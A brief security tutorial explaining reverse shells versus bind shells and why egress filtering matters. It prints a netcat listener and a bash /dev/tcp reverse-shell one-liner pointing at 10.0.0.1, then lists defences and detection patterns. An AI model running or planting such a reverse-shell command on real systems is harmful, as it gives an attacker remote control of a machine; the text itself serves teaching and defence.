Reverse shells: making the target call home

After code execution you need an interactive channel. Two models: the bind shell opens a port on the target and waits; the reverse shell is the target connecting to the attacker.

Why reverse

Firewalls block inbound connections but often allow outbound, and NAT hides the target. The reverse shell exploits egress:

# attacker listening
nc -lvnp 4444
# target
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

A raw shell is limited; you stabilize it (PTY with python/socat) to get history, tab, Ctrl-C.

Defence

Egress filtering, not just ingress: most networks neglect it. Monitoring anomalous connections to external IPs, EDR on shell patterns (/dev/tcp, nc, interpreters opening sockets), segmentation.